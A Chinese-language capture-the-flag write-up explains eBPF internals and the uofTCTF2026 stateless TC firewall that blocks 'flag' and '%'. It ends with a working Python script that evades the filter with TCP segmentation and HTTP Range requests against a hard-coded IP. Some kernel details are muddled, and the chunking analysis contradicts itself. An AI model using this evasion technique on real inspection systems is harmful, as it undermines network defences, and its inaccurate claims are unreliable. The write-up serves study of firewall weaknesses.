深入解析eBPF TC层防火墙:无状态检测漏洞与TCP分段、HTTP Range双向绕过
含uofTCTF2026 firewall题解
这题考的eBPF 防火墙。刚开始看到的时候还以为是道常规的 Web 题,结果发现是内核层面的网络过滤,挺有意思的。
先说下 eBPF 。eBPF(Extended Berkeley Packet Filter)最早是用来做网络包过滤的,后来发展成了可以在内核里跑自定义代码的通用引擎。最大的特点是不用改内核源码就能在内核态执行代码,而且有 Verifier 保证安全性。
eBPF 程序的执行流程大概是:先用 clang 编译成字节码,然后通过 bpf() 系统调用加载到内核。内核里会先经过 Verifier 验证安全性,再用 JIT 编译成机器码,最后挂载到各种钩子点上(比如 TC 的 ingress/egress)。
eBPF 的架构组成
eBPF 整个系统分为用户空间和内核空间两部分。用户空间负责编译和加载程序,内核空间负责执行。中间通过 bpf() 系统调用和 Maps 进行通信。
从内核的角度看,eBPF 程序的加载流程是这样的。用户态调用 bpf() 系统调用传入 BPF_PROG_LOAD 命令,参数里包含程序类型(BPF_PROG_TYPE_TC)、字节码、程序长度等信息。内核收到后会创建 bpf_prog 结构,然后调用 Verifier 进行验证。验证通过后会触发 JIT 编译,生成机器码并存储在 bpf_prog->jited 字段中。最后通过各种挂载机制(如 tc 命令)将程序挂载到钩子点。
Maps 是 eBPF 中很重要的概念,本质上是内核里的键值对存储,用于在 eBPF 程序和用户空间之间传递数据。从实现上看,每个 Map 在内核里都是一个 bpf_map 结构,包含类型、key_size、value_size、max_entries 等元数据。底层存储根据类型不同而不同,哈希表用 hlist 管理,数组就是连续内存。常见的 Map 类型有 BPF_MAP_TYPE_HASH、BPF_MAP_TYPE_ARRAY、BPF_MAP_TYPE_RINGBUF 等。
比如你想统计某个网络流量的大小,可以在 eBPF 程序里把计数写到 Map,用户态程序再读出来。不过本题没用上 Map,因为防火墙只需要做检测,不需要保存状态。
Verifier 的工作原理
Verifier 是 eBPF 安全性的核心,它会在加载 eBPF 程序时做静态分析。主要检查几个方面:第一是确保程序会终止,不能有无限循环;第二是内存访问要安全,不能越界读写;第三是不能调用未授权的内核函数。
从实现上看,Verifier 用的是数据流分析(Data Flow Analysis)和抽象解释(Abstract Interpretation)技术。它会模拟执行程序的每一条可能路径,为每个指令点的寄存器和内存维护一个抽象状态。这个抽象状态包含类型信息(比如 PTR_TO_PACKET、SCALAR_VALUE)和值范围(比如 [0, 100])。Verifer 的核心结构在内核的 kernel/bpf/verifier.c,主要数据结构是 bpf_verifier_state,包含了所有寄存器的状态和栈帧状态。
以前 eBPF 程序不能写循环,因为 Verifier 无法证明循环一定会结束。后来内核加了 bpf_loop() 这个辅助函数,它要求循环次数必须在编译时就能确定,这样 Verifier 就能验证了。本题源码用的就是 bpf_loop(),这就是为什么 Verifier 能放行。
bpf_loop 的特殊性在于它把循环逻辑封装到了内核实现中,Verifier 只需要检查回调函数的安全性,而循环次数作为参数传入。内核会执行最多 BPF_MAX_LOOPS 次(默认约 100 万次,可通过 sysctl 调整),保证了终止性。这就绕过了 Verifier 无法验证复杂循环的问题。
Verifier 的验证过程挺有意思的。它会模拟执行程序的每一条路径,跟踪寄存器的值和范围。比如看到 if (a < 10) return,它就知道后面 a 一定大于等于 10。这种精确的范围跟踪让很多安全的操作能通过验证。如果 Verifier 无法证明某条路径是安全的,整个程序就会被拒绝加载。
具体来说,Verifer 使用了区间算术(Interval Arithmetic)来跟踪寄存器的值范围。每个寄存器维护 umin_value、umax_value、smin_value、smax_value 四个字段,分别表示无符号和有符号的最小最大值。比如执行 if (r1 < 100) 后,Verifer 会更新 r1 的 umax_value 为 99。执行算术运算时也会传播这些范围约束。通过这种方式,Verifer 可以在很多情况下证明指针偏移不会越界。
还有个重要概念是 tainting,用于跟踪寄存器是否来自用户可控输入。比如从数据包读取的值会被标记为 tainted,后续对这些值的使用会受更严格的检查。这防止了攻击者通过控制数据包内容来操纵程序执行流。
JIT 编译
eBPF 字节码是一种 RISC 指令集,有 11 个 64 位寄存器,指令格式固定。虽然字节码可以解释执行,但性能不好。所以内核会用 JIT(Just-In-Time)编译器把字节码编译成机器码,这样执行速度就接近原生代码了。
从指令集角度看,eBPF 的设计参考了经典体系结构。寄存器 R0 是返回值寄存器,R1-R5 是参数寄存器(调用时使用),R6-R9 是 callee-saved 寄存器(被调用者保存),R10 是只读的帧指针。这种设计使得函数调用约定很清晰,也便于 JIT 编译到目标架构。指令编码是 64 位固定长度,分为 opcode(8位)、dst(4位)、src(4位)、off(16位)、imm(32位)几个字段。支持 ALU 运算、内存加载存储、分支跳转、函数调用等指令类型。
JIT 编译发生在 Verifier 通过之后。编译后的机器码直接缓存在内核里,下次执行就不用重新编译。这也是为什么 eBPF 程序虽然运行在内核,但性能损失很小的原因。
JIT 编译器的实现代码在 arch/x86/net/bpf_jit_comp.c(x86-64 架构)。它的工作原理是把每条 eBPF 指令翻译成一组 x86-64 指令。eBPF 的寄存器直接映射到 x86-64 寄存器(R0→rax, R1→rdi, ...),减少了寄存器分配的开销。翻译过程还会做一些优化,比如死代码消除、常量折叠、指令合并等。JIT 后的代码存储在 bpf_prog->jited 指向的内存区域,这部分内存是用 vmalloc_exec 分配的可执行内存。
JIT 还有个重要特性是尾调用优化(Tail Call)。eBPF 程序可以调用 bpf_tail_call() 辅助函数跳转到另一个程序,这不会增加调用栈深度,因为 JIT 会把它编译成 jump 而不是 call。这让多个 eBPF 程序可以链接在一起执行,突破了单程序的复杂度限制。
钩子点和程序类型
eBPF 可以挂载到内核的很多位置,这些位置叫钩子点。常见的有网络相关的 XDP、TC、Socket, tracing 相关的 kprobe、tracepoint,还有安全相关的 LSM 钩子等。
XDP(eXpress Data Path)挂载点比 TC 还要早,在网卡驱动收到包之后、协议栈处理之前就执行。速度最快但功能有限,适合做简单的包过滤。TC 钩子在协议栈附近,功能更全但稍慢一些。本题用的就是 TC 钩子。
不同的钩子点对应不同的程序类型,程序类型决定了能访问哪些上下文信息和能调用哪些辅助函数。比如 TC 程序能访问 __sk_buff 结构,里面有数据包的各种信息;而 XDP 程序访问的是 xdp_md 结构。
内核中的钩子点是通过各种宏和回调函数实现的。比如 TC 钩子对应的是 tcf_classify 函数,它会在数据包经过 qdisc 层时被调用。kprobe 钩子通过 kprobe 机制在函数入口/出口插入断点。tracepoint 是内核静态埋点,通过 tracepoint_probe_register 注册回调。每个钩子点类型都有对应的 bpf_prog_ops 结构,定义了如何获取上下文、如何验证程序等操作。
TC 和网络栈
这题用的是 TC (Traffic Control),是 Linux 的流量控制机制。关键点在于 Ingress 和 Egress 两个钩子的位置不一样。
从内核源码的角度看,数据包的入站路径是这样的。网卡驱动通过 NAPI 机制收到数据包,调用 napi_gro_receive 进入 GRO(Generic Receive Offload)层。GRO 会尝试聚合小包减少处理开销。然后调用 netif_receive_skb,这是 ingress 钩子的触发点。如果是 clsact qdisc,会调用 sch_handle_ingress 执行挂载的 eBPF 程序。之后才进入协议栈,IP 层处理(ip_rcv)、TCP 层处理(tcp_v4_rcv),最后才重组 TCP 段交给应用程序。
关于 GRO 需要特别说明。GRO 是 Generic Receive Offload 的缩写,它在网卡驱动之后尝试把属于同一流的小包合并成大包,减少协议栈处理开销。比如多个连续的 TCP ACK 可能被合并成一个,多个小的 TCP 数据段可能被合并。这对于性能很重要,但对于基于包的检测是个挑战。本题中如果启用了 GRO,理论上可能影响分段攻击的效果。但 GRO 的合并有限制,比如只合并连续的序列号、不超过最大聚合大小等。而且 GRO 发生在 ingress 钩子之前,所以防火墙看到的可能是已经被 GRO 合并过的包。
IP 分片是另一个需要考虑的问题。当 IP 数据报超过 MTU 时会被分片,每个分片有独立的 IP 头,包含相同的标识符但不同的片偏移。分片在目的主机重组,重组逻辑在 ip_defrag 函数中。如果防火墙只检查 IP 载荷而不考虑分片,也可能被绕过。不过本题的绕过是基于 TCP 段而不是 IP 分片,所以不需要触发 IP 分片。
出站路径则是应用程序调用 sendmsg 发送数据,TCP 层把数据分段,调用 ip_queue_xmit 进入 IP 层,然后经过路由和邻居子系统,最后调用 dev_queue_xmit。在 dev_queue_xmit 里,如果配置了 clsact,会调用 sch_handle_egress 执行 egress 钩子的 eBPF 程序。之后才到 qdisc 层排队,最后到网卡驱动发送。
Ingress 在数据包从网卡到协议栈的路径上,这时候 TCP 还没重组,防火墙看到的是原始的分段。Egress 在数据包从协议栈到网卡的路径上,这时候 TCP 已经重组完了,防火墙看到的是数据。
这个差异就是这题漏洞。从内核的 skb 结构角度看,ingress 时 skb->data 指向的是网络层头部(IP头),而 egress 时 skb->data 指向的可能是已经重组后的应用层数据。这就导致防火墙在两个方向看到的"数据"不同。
TC Actions 返回值
/* tc act return codes */
#define TC_ACT_OK 0 // 继续正常处理,交给协议栈
#define TC_ACT_RECLASSIFY 1 // 重新分类
#define TC_ACT_SHOT 2 // 丢弃数据包,停止处理
#define TC_ACT_PIPE 3 // 继续下一个 filter
#define TC_ACT_STOLEN 4 // 数据包被"偷走",停止处理
#define TC_ACT_REDIRECT 5 // 重定向到其他设备
#define TC_ACT_UNSPEC -1 // 未指定,使用默认行为本题防火墙使用的返回值:
检测到违规:返回 TC_ACT_SHOT (2),丢弃数据包
检测通过:返回 TC_ACT_OK (0),继续处理
协议不匹配:返回 TC_ACT_UNSPEC (-1),交给默认逻辑
clsact Qdisc 机制
传统 TC 使用复杂的 qdisc (queuing discipline) 层次结构。而 clsact 是一个特殊的 qdisc,专门设计用于 ingress/egress 分类:
# 添加 clsact qdisc
tc qdisc add dev eth0 clsact
# clsact 不做任何队列调度,只提供挂载点
# 它有两个内置的 handle:
# - ingress: 用于入站过滤
# - egress: 用于出站过滤这题就是考 eBPF 防火墙。题目在内核层的 TC 钩子上挂了个 eBPF 程序,拦截所有包含 "flag" 或 "%" 的 TCP 流量。防火墙同时挂在 Ingress 和 Egress 两个方向,双向过滤。玩家需要理解 eBPF 程序的原理,找到无状态检测的漏洞,然后用 TCP 分段和 HTTP Range 请求绕过。
SEC 宏和 ELF Section
eBPF 源码里到处能看到 SEC("xxx") 这样的宏,它是用来告诉编译器把函数放到哪个 ELF section 里的。比如 SEC("tc/ingress") 表示这个函数应该放到 tc/ingress section。
ELF 文件编译出来会有很多 section,比如 .text、.data 这些标准段。eBPF 程序会自定义一些 section 名称,tc 命令加载时会根据 section 名称找到对应的函数。这就是为什么 shell 脚本里用 sec tc/ingress 指定要挂载的函数。
编译后的 .o 文件可以用 readelf -S 看到所有的 section。除了 section 信息,ELF 文件里还包含 eBPF 字节码、重定位信息、Map 定义等。tc 命令会解析这些信息,把正确的字节码加载到内核。
从加载器的角度看,libbpf 是目前主流的 eBPF 加载库。它会解析 ELF 文件,提取 BPF 程序和 Map 定义,然后通过 bpf() 系统调用加载。Map 定义在 .maps section 或通过 BTF(BPF Type Format)元数据描述。BTF 是 eBPF 的类型信息格式,类似于 DWARF 但更简单,用于支持 CO-RE(Compile Once, Run Everywhere)。CO-RE 让编译好的 eBPF 程序可以在不同内核版本上运行,通过 BTF 信息重定位类型和结构体偏移。
辅助函数
eBPF 程序不能随便调用内核函数,只能用内核提供的一组辅助函数(helpers)。这些函数有明确的参数类型和返回值,Verifier 能验证调用是否合法。
从内核实现看,每个辅助函数都有一个 bpf_func_proto 结构描述,包含函数类型、参数类型、返回值类型等信息。所有辅助函数注册在 bpf_verifier_ops->get_func_proto 回调中。当 Verifier 遇到 BPF_CALL 指令时,会查找这个回调获取函数原型,然后验证参数类型是否匹配。辅助函数的调用不是普通的函数调用,而是通过 BPF_CALL 指令实现的,opcode 里编码了函数 ID。
本题用到的 bpf_skb_load_bytes() 和 bpf_loop() 都是辅助函数。其他常见的还有 bpf_map_lookup_elem() 查找 Map、bpf_map_update_elem() 更新 Map、bpf_probe_read_kernel() 读取内核内存等。
辅助函数的数量随着内核版本更新在不断增加,现在已经有几百个了。每个辅助函数都有一个唯一的 ID,程序里调用的时候其实是传递这个 ID 给内核。
调用流程是这样的。eBPF 指令 BPF_CALL 0, func_id 会触发内核调用对应的 helper。函数参数通过 eBPF 寄存器 R1-R5 传递,返回值放在 R0。内核会检查参数类型是否匹配 helper 的定义。比如 bpf_skb_load_bytes 要求第一个参数是 PTR_TO_PACKET 或 PTR_TO_CTX,第二个是 SCALAR_VALUE(偏移量),如果类型不对就会被 Verifier 拒绝。这种强类型检查保证了 helper 调用的安全性。
__sk_buff 结构详解
TC 程序的第一个参数是 struct __sk_buff *skb,这是一个对内核 struct sk_buff 的安全封装。内核的 sk_buff 结构很复杂,包含很多内部字段,直接暴露给 eBPF 不安全。所以 __sk_buff 只暴露了必要的字段,而且这些字段都是只读或受控的。
从内核实现看,__sk_buff 的字段在访问时会被转换成对 sk_buff 的访问。比如 __sk_buff->data 其实访问的是 skb->data,但 Verifier 会确保访问是安全的。关键的几个字段包括 data(数据指针)、data_end(数据结束指针)、len(数据长度)、protocol(协议类型)、hash(流量哈希)等。data 和 data_end 用于边界检查,eBPF 程序在访问数据包内容前必须验证 data + offset < data_end,否则 Verifier 会拒绝。
本题中防火墙读取 IP 头和 TCP 头就是这样做的。先计算 ETH_HLEN + ip_hdr_size 得到 IP 载荷偏移,然后用 bpf_skb_load_bytes 读取。bpf_skb_load_bytes 内部会做边界检查,如果偏移超出数据包范围就返回错误。这个设计让 eBPF 程序不会因为越界访问导致内核崩溃。
eBPF 的安全模型和攻击面
eBPF 的安全基于多层防护。第一层是 Verifier 的静态分析,第二层是运行时检查(比如指针访问),第三层是 Linux 的权限控制(需要 CAP_BPF 或 CAP_SYS_ADMIN)。这三层防护共同确保 eBPF 程序不会危害系统安全。
但从安全研究角度看,eBPF 并非无懈可击。历史上发现过多个 eBPF 相关的 CVE,比如 CVE-2021-3444(Verifier 规避)、CVE-2022-1679(JIT 编译漏洞)、CVE-2023-2163(Map 越界写)等。这些漏洞的利用大多依赖于 Verifier 的逻辑错误或 JIT 编译器的 bug。比如某些情况下 Verifier 无法正确跟踪指针的生命周期,导致 use-after-free;或者 JIT 编译时没有正确处理某些边界条件,导致越界读写。
eBPF 在安全领域既是矛也是盾。作为盾,它可以用于构建高性能的防火墙、入侵检测系统、沙箱监控等。作为矛,它被用于 rootkit 和恶意软件检测规避。比如可以把 eBPF 程序挂载到文件系统相关钩子,隐藏特定文件;或者挂载到进程相关钩子,隐藏特定进程。这就是为什么安全研究人员需要深入理解 eBPF 的工作原理。
先来看entrypoint.sh
编译参数挺简单的:-O3 是最高优化级别,-g 加调试信息(虽然 Verifier 不用),-target bpf 指定 BPF 架构,-I 指定头文件路径,-c 表示只编译不链接。
tc qdisc show dev eth0 | grep -q clsact || \
tc qdisc add dev eth0 clsact就是检查 clsact 是否已存在,没有就添加,用 || 保证幂等性。
tc filter add dev eth0 ingress bpf da obj /src/firewall.o sec tc/ingresstc filter add 添加过滤器,bpf da 表示直接 action 模式(eBPF 返回值直接作为 TC action),obj 指定对象文件,sec 指定 ELF section 名称。sec tc/ingress:ELF section 名称(对应源码中的 SEC("tc/ingress"))
Direct-Action 模式:
传统模式:bpf 需要配合 action 关键字
da 模式:eBPF 程序的返回值直接作为 action,更简洁
tc filter add dev eth0 egress bpf da obj /src/firewall.o sec tc/ingressegress 使用的是 sec tc/ingress(同一个 section),因为源码中只定义了一个 firewall_in 函数。
nginx -g "daemon off;"daemon off:前台运行,保持容器主进程活跃。
我们来看完整的c语言源码。
源码
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_endian.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/in.h>
#include <linux/tcp.h>
#include <linux/pkt_cls.h>
#define IP_MF 0x2000
#define IP_OFFSET 0x1fff
#define MAX_PKT_LEN 0xffff
#define WINDOW_LEN 256
#define KW_LEN 4
static const char blocked_kw[KW_LEN] = "flag";
static const char blocked_char = '%';
struct kw_scan_ctx {
struct __sk_buff *skb;
__u32 off;
__u32 len;
__u32 found;
};
static long kw_scan_cb(__u32 idx, void *data)
{
struct kw_scan_ctx *ctx = data;
unsigned char buf[KW_LEN];
if (bpf_skb_load_bytes(ctx->skb, ctx->off + idx, buf, KW_LEN) < 0) {
ctx->found = 1;
return 1;
}
if (__builtin_memcmp(buf, blocked_kw, KW_LEN) == 0) {
ctx->found = 1;
return 1;
}
return 0;
}
__u32 __always_inline has_blocked_kw(struct __sk_buff *skb, __u32 off, __u32 len)
{
if (off > MAX_PKT_LEN || off + len > MAX_PKT_LEN || len >= MAX_PKT_LEN)
return 1;
if (len < KW_LEN) {
return 0;
}
struct kw_scan_ctx ctx = {
.skb = skb,
.off = off,
.len = len,
.found = 0,
};
__u32 nr_loops = len - KW_LEN + 1;
long ret = bpf_loop(nr_loops, kw_scan_cb, &ctx, 0);
if (ret < 0) {
return 1;
}
return ctx.found ? 1 : 0;
}
static long char_scan_cb(__u32 idx, void *data)
{
struct kw_scan_ctx *ctx = data;
unsigned char buf[1];
if (bpf_skb_load_bytes(ctx->skb, ctx->off + idx, buf, 1) < 0) {
ctx->found = 1;
return 1;
}
if (buf[0] == blocked_char) {
ctx->found = 1;
return 1;
}
return 0;
}
__u32 __always_inline has_blocked_char(struct __sk_buff *skb, __u32 off, __u32 len)
{
if (off > MAX_PKT_LEN || off + len > MAX_PKT_LEN | IP_OFFSET)为什么 Verifier 能接受?
- 循环次数可静态确定:
nr_loops是常量 - 回调函数无副作用:不修改循环条件
- 最大迭代次数限制:约 800 万次(防止 DoS)
本题中的使用:
struct kw_scan_ctx ctx = { .skb = skb, .off = off, .len = len, .found = 0 };
__u32 nr_loops = len - KW_LEN + 1; // 例如:20 - 4 + 1 = 17
bpf_loop(nr_loops, kw_scan_cb, &ctx, 0);执行流程示例:
假设载荷是 "xflagflag"(长度 9):
nr_loops = 9 - 4 + 1 = 6
循环调用:
idx=0: kw_scan_cb(0, &ctx) → 检查 "xfla" → 不匹配 → 返回 0
idx=1: kw_scan_cb(1, &ctx) → 检查 "flag" → 匹配! → 返回 1,终止循环
ctx.found = 1
最终返回 1(检测到违规)bpf_skb_load_bytes
if (bpf_skb_load_bytes(ctx->skb, ctx->off + idx, buf, KW_LEN) < 0) {
ctx->found = 1;
return 1;
}函数原型:
long bpf_skb_load_bytes(struct __sk_buff *skb,
__u32 offset, // 起始偏移
void *to, // 目标缓冲区
__u32 len); // 读取长度为什么需要它?
eBPF 不能直接像用户态那样随意访问内存:
// 不安全:直接解引用可能越界
char *data = (char *)skb->data;
char c = data[offset]; // Verifier 无法验证安全性// 安全:使用 bpf_skb_load_bytes
char buf[4];
bpf_skb_load_bytes(skb, offset, buf, 4); // Verifier 能验证bpf_skb_load_bytes 的安全保证:
如果 offset + len 超出数据包范围,返回负值
Verifier 能静态分析这个调用,证明程序不会越界
本题中的错误处理:
if (bpf_skb_load_bytes(...) < 0) {
ctx->found = 1; // 加载失败视为"发现违规"
return 1;
}这是一个保守的设计:如果无法安全读取,就假设有违规,丢弃数据包。
从内核实现看,bpf_skb_load_bytes 对应的内核函数是 bpf_skb_load_bytes_impl,它调用 skb_store_bits 或类似函数从 sk_buff 拷贝数据。关键点在于它会先检查 offset 和 len 的合法性,然后用 probe_kernel_read 读取数据(对可能映射到用户空间的 skb_frags)。这防止了 eBPF 程序访问非法内存导致内核崩溃。
还有一个相关的辅助函数是 bpf_skb_load_bytes_relative,它可以相对于某个协议头(如 MAC 头或网络头)进行偏移,更灵活。但本题只用到了绝对的偏移量。
__builtin_memcmp
if (__builtin_memcmp(buf, blocked_kw, KW_LEN) == 0) {
ctx->found = 1;
return 1;
}为什么使用 __builtin_memcmp?
eBPF Verifier 对函数调用有严格限制。__builtin_memcmp 是 GCC/Clang 的内置函数(builtin),会被编译器内联为直接的比较指令:
// __builtin_memcmp(buf, "flag", 4) 可能被编译为:
if (buf[0] == 'f' &&
buf[1] == 'l' &&
buf[2] == 'a' &&
buf[3] == 'g') {
// 匹配
}优势:
无外部函数依赖
Verifier 能内联分析
性能更好(无函数调用开销)
核心漏洞:无状态检测 (Stateless Inspection)
漏洞的本质
防火墙的检测逻辑存在根本性的设计缺陷:
// firewall.c:191-196
if (has_blocked_kw(skb, ETH_HLEN + ip_hdr_size, ip_tot_len - ip_hdr_size)) {
return TC_ACT_SHOT;
}这个函数只检查当前这一个数据包。它:
没有维护 TCP 连接状态(四元组:src_ip, src_port, dst_ip, dst_port)
不理解 TCP 是一个字节流
不重组 TCP 分段,只看原始包
TCP 协议栈差异
Ingress Hook:在 TCP 重组之前执行
防火墙看到的不是 "GET /flag.html",而是独立的 "GET /f" 和 "lag.html..."
TCP 重组发生在防火墙之后
从内核 TCP 实现角度看,TCP 的重组逻辑在 tcp_data_queue 函数中。当收到 TCP 段时,内核会检查序列号,如果是期望的下一个序列号(rcv_nxt),就直接放入接收队列;如果是乱序到达,就插入 out_of_order_queue;如果有缺口(hole),就等待后续段填补。只有当所有段都到齐,序列号连续时,才会重组后交给应用程序。
本题的关键在于,ingress 钩子在 netif_receive_skb 函数中触发,这发生在 tcp_v4_rcv 之前。此时数据包还是原始的 IP 分片和 TCP 段,TCP 层还没处理。而 egress 钩子在 dev_queue_xmit 中触发,这时 TCP 层已经把数据分段并发送了,但接收端的 egress 看到的是已经重组的数据。
具体到数据结构,内核中每个 TCP 连接有一个 struct tcp_sock,包含接收队列(receive_queue)和乱序队列(out_of_order_queue)。ingress 时防火墙看到的是 skb->data 指向的原始 TCP 载荷,而重组后应用程序看到的是 receive_queue 里按序列号排序好的数据。防火墙不理解 TCP 序列号,也不知道如何重组,所以只能看到一个个孤立的段。
为什么这是个漏洞
这是有状态防火墙与无状态防火墙区别:
有状态防火墙会维护连接状态表,记录每个 TCP 连接的四元组和当前状态(SYN_SENT、ESTABLISHED 等)。在检测时会考虑整个连接的上下文,比如重组 TCP 段、跟踪序列号、检测异常行为。实现上通常用 Map 存储连接状态,键是四元组,值是状态结构体。eBPF 程序在收到包时先查找 Map,获取连接状态,然后根据状态和当前包的内容做决策。这种设计可以避免本题的绕过,因为防火墙会看到重组后的完整数据流。
无状态防火墙则不维护任何状态,每个数据包独立处理。优点是实现简单、性能好、不需要额外的内存存储。缺点是无法理解协议的语义,容易被协议层技巧绕过。本题的防火墙就是无状态的,它只检查当前包的内容,不理解 TCP 是字节流,所以可以通过分段绕过。
从实现角度看,要把这个防火墙改成有状态的,需要用 BPF_MAP_TYPE_HASH 存储连接状态。键可以是 struct bpf_sock_tuple(包含四元组),值可以是序列号、已接收数据的缓冲区等。每次收到包时查找 Map,如果连接不存在就创建,然后更新状态。但这样会显著增加复杂度,因为需要处理连接超时、状态清理、并发访问等问题。而且 Map 的容量有限,大量连接可能导致 Map 溢出。这就是为什么很多简单的 eBPF 防火墙选择无状态设计。
入站绕过(TCP 分段攻击)
利用 TCP 的分段特性,把 "flag" 拆到不同段里。正常情况发送 "GET /flag.html" 会被拦截,但如果分成 "GET /f" 和 "lag.html" 两个段发送,防火墙检查每个段都看不到完整的 "flag",就放行了。TCP 协议栈在防火墙后面重组,Nginx 收到的是完整的请求。
TCP_NODELAY 和 Nagle 算法
Nagle 算法目的是减少小包数量。如果有未确认的小包在传输,就会暂存新数据等待 ACK 或积累更多。没有的话就立即发送。
从内核实现看,Nagle 算法的逻辑在 tcp_tcp_push 函数中。它检查两个条件:第一是有未确认的数据(TCP_NAGLE_PUSH 标志未设置),第二是有新的数据要发送且小于 MSS。如果两个条件都满足,就会暂存数据而不立即发送。只有当收到 ACK 或者积累了足够数据(达到 MSS)时才发送。
Nagle 算法的内核源码逻辑大概是:
if (sock_flag(sk, SOCK_QUEUED) &&
!(tcp_flag_byte(skb) & TCP_NAGLE_PUSH) &&
tcp_skb_entail(sk, skb) &&
... ) {
// 启用 Nagle,暂存数据
} else {
// 立即发送
tcp_push(sk, flags);
}TCP_NODELAY 选项的作用是禁用 Nagle 算法。从内核角度看,设置 TCP_NODELAY 后,会设置 TCP_NODELAY 标志,tcp_nagle_test 函数会直接返回 false,导致每次 send 都立即调用 tcp_push,不等待。这对于需要低延迟的小包很重要,比如本题的绕过攻击。
没有 TCP_NODELAY 的问题:
# 没有 TCP_NODELAY 的情况
s.send(b"GET /f")
# 此时第一个包可能还未 ACK
s.send(b"lag.html")
# Nagle 算法可能将两者合并!
# 实际发送: "GET /flag.html"
# 防火墙检测到 "flag" → DROP使用 TCP_NODELAY 后:
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
s.send(b"GET /f")
# 立即发送,不等待
s.send(b"lag.html")
# 也立即发送
# 实际发送: 两个独立的 TCP 段TCP_NODELAY 的影响:
默认情况(启用 Nagle):
send("GET /f") ──┐
├──> 合并为 "GET /flag.html"
send("lag.html")─┘
使用 TCP_NODELAY:
send("GET /f") ──> 立即发送: "GET /f"
send("lag.html")─> 立即发送: "lag.html"time.sleep(0.1)
for p in parts:
s.send(p)
time.sleep(0.1) # 100ms虽然 TCP_NODELAY 已经足够,但 sleep 增加了可靠性:
- 确保数据包发出:
send()只是将数据写入发送缓冲区,不一定立即发出 - 给 ACK 时间:让第一个包被确认后再发送第二个
- 避免 PSH 合并:某些实现可能对多个 PSH 标志的段进行合并
时间线分析:
t=0ms: send("GET /f")
数据写入发送缓冲区
TCP_NODELAY 确保立即发送
t=1ms: 包到达防火墙 → PASS
t=50ms: 包到达服务器 → TCP 重组缓冲区
t=100ms: sleep 结束,send("lag.html")
t=101ms: 包到达防火墙 → PASS
t=150ms: 包到达服务器
t=150ms: TCP 协议栈重组完成 → "GET /flag.html"
t=151ms: Nginx 接收请求MSS 限制
MSS (Maximum Segment Size) 是 TCP 单个段的最大数据量:
典型以太网 MTU = 1500 字节
IP 头 = 20 字节
TCP 头 = 20 字节
MSS = 1500 - 20 - 20 = 1460 字节本题的请求很小:
"GET /flag.html HTTP/1.1\r\nHost: example.com\r\n\r\n"
大约 50 字节,远小于 MSS所以不会被 TCP 层自动分段,我们的分段是应用层主动分段。
出站绕过(HTTP Range 请求)
出站绕过
即使我们成功绕过 Ingress,请求了 /flag.html:
Ingress Check:
"GET /f" → PASS ✓
"lag.html" → PASS ✓
Nginx 处理请求,返回:
"<h1>Here is your free flag: TEST{FLAG}</h1>"
Egress Check:
响应数据包含 "flag"
→ DROP ✗问题:响应在 Egress 也被拦截。
HTTP Range 请求
HTTP Range 请求是 RFC 7233 定义的标准功能:
正常请求:
GET /flag.html HTTP/1.1
Host: example.com
响应:
HTTP/1.1 200 OK
Content-Length: 214
<h1>Here is your free flag: TEST{FLAG}</h1>
Range 请求:
GET /flag.html HTTP/1.1
Host: example.com
Range: bytes=0-49 ← 只要前 50 字节
响应:
HTTP/1.1 206 Partial Content ← 注意状态码
Content-Range: bytes 0-49/214 ← 格式:start-end/total
Content-Length: 50
<h1>Here is your free flag: TEST{FLAG}Range 头部的格式:
Range: bytes=0-49 // 单一范围
Range: bytes=0-49,100-149 // 多个范围
Range: bytes=50- // 从 50 开始到结束
Range: bytes=-100 // 最后 100 字节分段策略
flag.html 的内容:
<h1>Here is your free flag: TEST{FLAG}</h1>长度约 214 字节,"flag" 出现在位置约 22-25 处。
使用 10 字节分块的原因:
分块大小 = 10 字节
内容:
<h1>Here is your free flag: TEST{FLAG}</h1>
↑───────────↑───────────↑───────────↑
bytes 0-9 bytes 10-19 bytes 20-29 bytes 30-39
分析:
Offset 0-9: "<h1>Here is" (无 "flag")
Offset 10-19: " your free" (无 "flag")
Offset 20-29: " flag: TEST" ← "fl" 在 22-23
Offset 30-39: "{FLAG}</h1>" ← "ag" 在 30-31
...关键:"flag" 被拆成 "fl" 和 "ag",分布在两个独立的响应中。
10 字节分块的原因
为什么 4 字节危险?
"flag" 正好 4 字节
如果分块大小 = 4 字节
可能出现:
bytes 0-3: "..."
bytes 4-7: "flag" ← 的 "flag"10 字节的安全性:
最坏情况: "flag" 正好在分块边界
假设内容是: "xxxxflagyyyy"
分块大小 10:
bytes 0-9: "xxxxflagyy" ← 包含 "flag",危险但实际 HTML 中,"flag" 周围通常有其他字符,不太可能正好对齐 10 字节边界。
每次 Range 请求都把 "GET /flag.html" 分段发送("GET /f" + "lag.html"),绕过 Ingress 检查。Nginx 返回对应范围的数据,比如 Range: 0-9 返回 "Here is",Range: 20-29 返回 " flag: TEST"。因为 "flag" 被拆散了,Egress 检查也放行。最后把所有片段拼起来就是完整的 flag。
exp
import socket
import time
target_ip = "35.227.38.232"
target_port = 5000
def get_flag_by_ranges():
full_flag = ""
# flag.html 约 214 字节,每次请求 10 字节
for i in range(0, 214, 10):
try:
# 创建连接 ==========
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 禁用 Nagle ==========
# 立即发送
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
# 连接 ==========
s.connect((target_ip, target_port))
# Range 头 ==========
# Range: bytes=0-9, bytes=10-19, ...
range_header = f"Range: bytes={i}-{i+9}\r\n"
# 分段发送请求 ==========
parts = [
b"GET /f", # 段 1: 将 "flag" 的 "f" 独立
b"lag.html HTTP/1.1\r\n", # 段 2: "lag" 分离
f"Host: {target_ip}\r\n".encode(),
range_header.encode(), # Range 请求
b"Connection: close\r\n\r\n" # 请求头结束
]
# 发送 ==========
for p in parts:
s.send(p)
time.sleep(0.1) # 等待 100ms,确保分段
# 接收 ==========
s.settimeout(3) # 3 秒超时
response = b""
while True:
chunk = s.recv(4096)
if not chunk: break
response += chunk
# 响应 ==========
if b"\r\n\r\n" in response:
# 分离 HTTP 头和 Body
headers, body = response.split(b"\r\n\r\n", 1)
part_text = body.decode(errors='ignore')
full_flag += part_text
print(f"[*] Offset {i}: {repr(part_text)}")
s.close()
except Exception as e:
print(f"[-] Error at {i}: {e}")
# 输出 flag ==========
print("\n[+] Reconstructed Content:")
print(full_flag)
get_flag_by_ranges()细节说明。
socket.AF_INET, socket.SOCK_STREAM
